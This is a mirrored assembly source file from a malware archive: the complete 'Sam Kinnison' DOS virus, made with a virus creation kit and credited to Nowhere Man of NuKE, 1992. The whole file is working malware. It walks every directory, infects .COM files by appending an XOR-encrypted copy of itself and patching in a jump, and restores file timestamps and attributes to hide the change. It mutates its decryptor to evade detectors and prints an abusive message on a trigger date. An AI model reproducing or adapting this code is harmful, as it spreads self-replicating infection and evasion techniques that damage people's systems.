mirror of
https://github.com/vxunderground/MalwareSourceCode
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397 lines
11 KiB
NASM
397 lines
11 KiB
NASM
; KINNISON.ASM -- Sam Kinnison virus
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; Created by Nowhere Man's Virus Creation Labratory v0.75
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; Written by Nowhere Man
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virus_type equ 0
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code segment 'CODE'
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assume cs:code,ds:code,es:code,ss:code
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org 0100h
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main proc near
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flag: mov ah,0
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nop
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nop
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jmp start ; Would be at start of victim
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nop
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nop
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start: call find_offset ; Push IP on to stack, advance IP
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find_offset: pop di ; DI holds old IP
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sub di,3 ; Adjust for length of CALL
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lea si,[di + start_of_code - start] ; SI points to code
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call encrypt_decrypt ; Decrypt the code
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start_of_code label near
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push di ; Save DI
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mov si,offset flag ; SI points to flag bytes
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lea di,[di + new_jump - start] ; DI points to start of jump
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movsw ; Transfer two bytes
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movsw ; Transfer two bytes
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pop di ; Restore DI
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push di ; And save it for later
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lea si,[di + buffer - start]; SI points to old start
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mov di,0100h ; DI points to start of code
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movsw ; Transfer two bytes
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movsw ; Transfer two bytes
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movsw ; Transfer two bytes
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movsb ; Transfer final byte
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pop di ; Restore DI
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mov bp,sp ; BP points to stack
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer on stack
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int 021h
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call get_day
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cmp ax,000Bh
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jne end00
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call get_weekday
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cmp ax,0005h
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jne end00
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mov cx,0003h
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call beep
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end00: xor ah,ah ; BIOS get time function
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int 01Ah
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test dx,0001h
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jne no_infection
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call search_files
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no_infection:
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call get_day
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cmp ax,000Bh
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jne end01
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call get_weekday
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cmp ax,0005h
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jne end01
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lea si,[di + data00 - start] ; SI points to data
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call display_string
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end01: pop dx ; DX holds original DTA address
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mov ah,01Ah ; DOS set DTA function
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int 021h
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mov sp,bp ; Deallocate local buffer
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mov di,0100h ; Push 0100h on to stack for
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push di ; return to main program
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xor ax,ax ;
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mov bx,ax ;
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mov cx,ax ;
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mov dx,ax ; Empty out the registers
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mov si,ax ;
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mov di,ax ;
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mov bp,ax ;
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ret ; Return to original program
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main endp
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search_files proc near
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push bp ; Save BP
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mov bp,sp ; BP points to local buffer
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sub sp,64 ; Allocate 64 bytes on stack
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mov ah,047h ; DOS get current dir function
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xor dl,dl ; DL holds drive # (current)
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lea si,[bp - 64] ; SI points to 64-byte buffer
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int 021h
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + root - start] ; DX points to root directory
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int 021h
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call traverse ; Start the traversal
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 64] ; DX points to old directory
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int 021h
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mov sp,bp ; Restore old stack pointer
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pop bp ; Restore BP
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ret ; Return to caller
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root db "\",0 ; Root directory
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search_files endp
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traverse proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first function
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mov cx,00010000b ; CX holds search attributes
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mov dx,offset all_files ; DX points to "*.*"
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int 021h
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jc leave_traverse ; Leave if no files present
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check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
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jne another_dir ; If not, try again
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cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
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je another_dir ;If so, keep going
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mov ah,03Bh ; DOS change directory function
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lea dx,[bp - 98] ; DX points to new directory
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int 021h
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call traverse ; Recursively call ourself
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mov ah,03Bh ; DOS change directory function
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lea dx,[di + up_dir - start]; DX points to parent directory
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int 021h
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another_dir: mov ah,04Fh ; DOS find next function
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int 021h
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jnc check_dir ; If found check the file
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leave_traverse:
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lea dx,[di + com_mask - start] ; DX points to "*.COM"
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call find_files ; Try to infect a file
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done_searching: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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up_dir db "..",0 ; Parent directory name
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all_files db "*.*",0 ; Directories to search for
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com_mask db "*.COM",0 ; Mask for all .COM files
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traverse endp
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find_files proc near
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push bp ; Save BP
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mov ah,02Fh ; DOS get DTA function
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int 021h
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push bx ; Save old DTA address
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mov bp,sp ; BP points to local buffer
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sub sp,128 ; Allocate 128 bytes on stack
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push dx ; Save file mask
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mov ah,01Ah ; DOS set DTA function
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lea dx,[bp - 128] ; DX points to buffer
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int 021h
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mov ah,04Eh ; DOS find first file function
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mov cx,00100111b ; CX holds all file attributes
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pop dx ; Restore file mask
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find_a_file: int 021h
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jc done_finding ; Exit if no files found
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call infect_file ; Infect the file!
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jnc done_finding ; Exit if no error
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mov ah,04Fh ; DOS find next file function
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jmp short find_a_file ; Try finding another file
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done_finding: mov sp,bp ; Restore old stack frame
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mov ah,01Ah ; DOS set DTA function
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pop dx ; Retrieve old DTA address
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int 021h
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pop bp ; Restore BP
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ret ; Return to caller
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find_files endp
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infect_file proc near
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mov ah,02Fh ; DOS get DTA address function
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int 021h
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mov si,bx ; SI points to the DTA
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mov ax,04301h ; DOS set file attributes function
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xor cx,cx ; Clear all attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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mov ax,03D02h ; DOS open file function, r/w
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int 021h
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xchg bx,ax ; BX holds file handle
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mov ah,03Fh ; DOS read from file function
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mov cx,7 ; CX holds bytes to read (7)
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lea dx,[di + buffer - start]; DX points to buffer
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int 021h
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push si ; Save DTA address before compare
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mov byte ptr [di + set_carry - start],0 ; Assume we'll fail
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lea si,[di + buffer - start]; SI points to comparison buffer
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push di ; Save virus offset
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lea di,[di + new_jump - start] ; DI points to virus flag
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mov cx,4 ; CX holds number of bytes (4)
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rep cmpsb ; Compare the first four bytes
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pop di ; Restore DI
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je close_it_up ; If equal then close up
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mov byte ptr [di + set_carry - start],1 ; Success -- the file is OK
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cwd ; Zero CX _ Zero bytes from start
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mov cx,dx ; Zero DX /
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mov ax,04200h ; DOS file seek function, start
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int 021h
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mov ax,04202h ; DOS file seek function, EOF
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cwd ; Zero DX _ Zero bytes from end
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mov cx,dx ; Zero CX /
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int 021h
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sub ax,7 ; Prepare for JMP
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mov word ptr [di + new_jump + 5 - start],ax ; Construct JMP for later
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call encrypt_code ; Make an encrypted copy of ourself
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mov ah,040h ; DOS write to file function
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mov cx,finish - start ; CX holds virus length
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lea dx,[di + finish - start] ; DX points to encrypted copy
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int 021h
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cwd ; Zero DX _ Zero bytes from start
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mov cx,dx ; Zero CX /
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mov ax,04200h ; DOS file seek function, start
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int 021h
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mov ah,040h ; DOS write to file function
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mov cx,7 ; CX holds bytes to write (7)
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lea dx,[di + new_jump - start] ; DX points to the jump we made
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int 021h
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close_it_up: pop si ; Restore DTA address
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mov ax,05701h ; DOS set file time function
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mov cx,[si + 016h] ; CX holds old file time
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mov dx,[si + 018h] ; DX holds old file date
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int 021h
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mov ah,03Eh ; DOS close file function
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int 021h
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mov ax,04301h ; DOS set file attributes function
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xor ch,ch ; Clear CH for file attribute
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mov cl,[si + 015h] ; CX holds file's old attributes
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lea dx,[si + 01Eh] ; DX points to victim's name
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int 021h
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infection_done: cmp byte ptr [di + set_carry - start],1 ; Set carry flag if failed
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ret ; Return to caller
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set_carry db ? ; Set-carry-on-exit flag
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buffer db 5 dup (090h),0CDh,020h ; Buffer to hold test data
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new_jump db 4 dup (?),0E9h,?,? ; New jump to virus
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infect_file endp
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beep proc near
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jcxz beep_end ; Exit if there are no beeps
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mov ax,0E07h ; BIOS display char., BEL
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beep_loop: int 010h ; Beep
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loop beep_loop ; Beep until --CX = 0
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beep_end: ret ; Return to caller
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beep endp
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display_string proc near
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mov ah,0Eh ; BIOS display char. function
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display_loop: lodsb ; Load the next char. into AL
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or al,al ; Is the character a null?
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je disp_strnend ; If it is, exit
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int 010h ; BIOS video interrupt
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jmp short display_loop ; Do the next character
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disp_strnend: ret ; Return to caller
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display_string endp
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get_day proc near
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mov ah,02Ah ; DOS get date function
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int 021h
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mov al,dl ; Copy day into AL
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cbw ; Sign-extend AL into AX
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ret ; Return to caller
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get_day endp
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get_weekday proc near
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mov ah,02Ah ; DOS get date function
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int 021h
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cbw ; Sign-extend AL into AX
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ret ; Return to caller
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get_weekday endp
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data00 db "DIE BITCH!!!!! AHHHHHHHH!!!!!!!",13,10,0
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vcl_marker db "[VCL]",0 ; VCL creation marker
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note db "Dedicated to the memory of"
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db " Sam Kinnison 1954-1992",0
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db "[Kinnison]",0
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db "Nowhere Man, [NuKE] '92",0
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encrypt_code proc near
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push bx ; Save BX
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push di ; Save DI
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lea si,[di + encrypt_decrypt - start] ; SI points to encryption code
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xor ah,ah ; BIOS get time function
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int 01Ah
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or dx,1 ; Insure we never get zero
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mov word ptr [si + 5],dx ; Low word of timer is new key
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alter_flag: mov al,0 ; AL holds alteration flag
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inc byte ptr [di + (alter_flag + 1) - start] ; Toggle alteration flag
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test al,1 ; Is bit one set?
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jne check_nop ; If not then don't toggle
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xor byte ptr [si],0110b ; Change all BPs in startup code
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xor byte ptr [si + 4],010b ; to BXs, and vice-versa
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xor byte ptr [si + 7],0110b ;
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check_nop: test al,2 ; Is bit two set?
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jne do_encryption ; If not then don't toggle
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mov ax,word ptr [si + 7] ; AX holds INC/NOP
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xchg ah,al ; Exchange position of INC and NOP
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mov word ptr [si + 7],ax ; Put the word back
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do_encryption: mov si,di ; SI points to start of code
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lea di,[di + finish - start] ; DI points past code
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mov cx,(finish - start) / 2 ; CX holds words to transfer
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rep movsw ; Copy the code past the end
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pop di ; Restore DI
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lea si,[di + (finish + (start_of_code - start)) - start] ; SI points to code to encrypt
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call encrypt_decrypt ; Encrypt the code
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pop bx ; Restore BX
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ret ; Return to caller
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encrypt_code endp
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even ; Must be on an even boundry
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end_of_code label near
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encrypt_decrypt proc near
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mov bp,end_of_code - start_of_code - 2 ; BP holds length of code
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xor_loop: db 081h,032h,00h,00h ; XOR a word with the key
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dec bp ; Do the next byte
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nop ; Used to throw off detectors
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jne xor_loop ; Repeat until we're done
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ret ; Return to caller
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encrypt_decrypt endp
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finish label near
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code ends
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end main |